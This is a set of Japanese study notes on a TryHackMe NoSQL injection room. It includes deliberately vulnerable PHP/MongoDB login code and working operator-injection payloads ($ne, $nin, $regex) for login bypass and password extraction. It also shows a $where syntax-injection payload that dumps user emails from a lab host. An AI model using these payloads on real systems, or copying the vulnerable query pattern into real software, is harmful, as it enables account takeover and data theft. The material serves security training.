コースURL : https://tryhackme.com/room/nosqlinjectiontutorial

NoSQLとは

ざっくり

{"_id" : ObjectId("5f077332de2cdf808d26cd74"), "username" : "lphillips", "first_name" : "Logan", "last_name" : "Phillips", "age" : "65", "email" : "lphillips@example.com" }

クエリ

last_nameが「Sandler」のドキュメントを取得したい場合

['last_name' => 'Sandler']

genderが「male」で、last_nameが「Phillips」のドキュメントを取得したい場合

['gender' => 'male', 'last_name' => 'Phillips']

ageが50未満のすべてのドキュメントを取得したい場合

['age' => ['$lt' => '50']]

MongoDBでのクエリとオペレーター

NoSQL Injection

構文インジェクション(Syntax Injection)

オペレーターインジェクション

オペレーターインジェクション

ログインバイパス

<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");


if(isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])){
        $user = $_POST['user'];
        $pass = $_POST['pass'];

        $q = new MongoDB\Driver\Query(['username'=>$user, 'password'=>$pass]);
        $record = $con->executeQuery('myapp.login', $q );
        $record = iterator_to_array($record);

        if(sizeof($record)>0){
                $usr = $record[0];

                session_start();
                $_SESSION['loggedin'] = true;
                $_SESSION['uid'] = $usr->username;

                header('Location: /sekr3tPl4ce.php');
                die();
        }
}
header('Location: /?err=1');

?>

これを逆手に取って、次のような配列を $user と $pass に渡す例

$user = ['$ne'=>'xxxx']
$pass = ['$ne'=>'yyyy']

すると、こうなる

['username'=>['$ne'=>'xxxx'], 'password'=>['$ne'=>'yyyy']]

POSTリクエストの中でどうやって配列を送るのか

user[$ne]=xxxx&pass[$ne]=yyyy

こんな感じのwebログインのときに

こんな感じで、オペレーターインジェクションする
user[$ne]=適当な文字&pass[$ne]=aaaa

他のユーザーとしてログイン


以下のようなリクエストは、

user[$nin]=admin&pass[$ne]=aweasdf

こんなクエリ構造に変換される

['username' => ['$nin' => ['admin']], 'password' => ['$ne' => 'aweasdf']]

$nin に複数の値を指定する

user[$nin][]=admin&user[$nin][]=jude&pass[$ne]=aweasdf

このクエリは、ユーザ名が、adminでもなく、judeでもなく、passwordが、aweasdfでもないアカウントってこと?
ここからどうやって絞り込んでくの?

['username' => ['$nin' => ['admin', 'jude']], 'password' => ['$ne' => 'aweasdf']]

パスワードの抽出

adminのパスワードの長さを推測してみる

このペイロードを使用できる

user=admin&pass[$regex]=^.{7}$

しかし、サーバーがエラーを返すので、adminのパスワードは7文字で無いことがわかる
何回か、パスワードの正規表現を変更して試行錯誤することで、adminのパスワードの文字数がわかる

パスワードの文字数がわかったら、以下のペイロードを変更する

user=admin&pass[$regex]=^c....$

これをおんなじ手順で繰り返すことで、パスワードを判明させる
繰り返すときは、ResponseのLocationを見る

正解の時

誤っている時

構文インジェクション

検出

以下のようなエラーが表示されるとき、構文的なインジェクションの存在がわかる

syntax@10.10.102.74's password: 
Please provide the username to receive their email:admin'
Traceback (most recent call last):
  File "/home/syntax/script.py", line 17, in <module>
    for x in mycol.find({"$where": "this.username == '" + username + "'"}):
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1248, in next
    if len(self.__data) or self._refresh():
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1165, in _refresh
    self.__send_message(q)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/cursor.py", line 1053, in __send_message
    operation, self._unpack_response, address=self.__address
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1272, in _run_operation
    retryable=isinstance(operation, message._Query),
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1371, in _retryable_read
    return func(session, server, sock_info, read_pref)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/mongo_client.py", line 1264, in _cmd
    sock_info, operation, read_preference, self._event_listeners, unpack_res
  File "/usr/local/lib/python3.6/dist-packages/pymongo/server.py", line 134, in run_operation
    _check_command_response(first, sock_info.max_wire_version)
  File "/usr/local/lib/python3.6/dist-packages/pymongo/helpers.py", line 180, in _check_command_response
    raise OperationFailure(errmsg, code, response, max_wire_version)
pymongo.errors.OperationFailure: Failed to call method, full error: {'ok': 0.0, 'errmsg': 'Failed to call method', 'code': 1, 'codeName': 'InternalError'}
Connection to 10.10.102.74 closed.

エラー メッセージの次の行は、構文インジェクションがあることを示している

ssh syntax@10.10.102.74
syntax@10.10.102.74's password: 
Please provide the username to receive their email:admin' && 0 && 'x
Connection to 10.10.102.74 closed.

ssh syntax@10.10.102.74
syntax@10.10.102.74's password: 
Please provide the username to receive their email:admin' && 1 && 'x
admin@nosql.int
Connection to 10.10.102.74 closed.

悪用

ssh syntax@10.10.102.74
syntax@10.10.102.74's password: 
Please provide the username to receive their email:admin'||1||'
admin@nosql.int
pcollins@nosql.int
jsmith@nosql.int
[...]
Connection to 10.10.102.74 closed.

例外

参考

コースURL : https://tryhackme.com/room/nosqlinjectiontutorial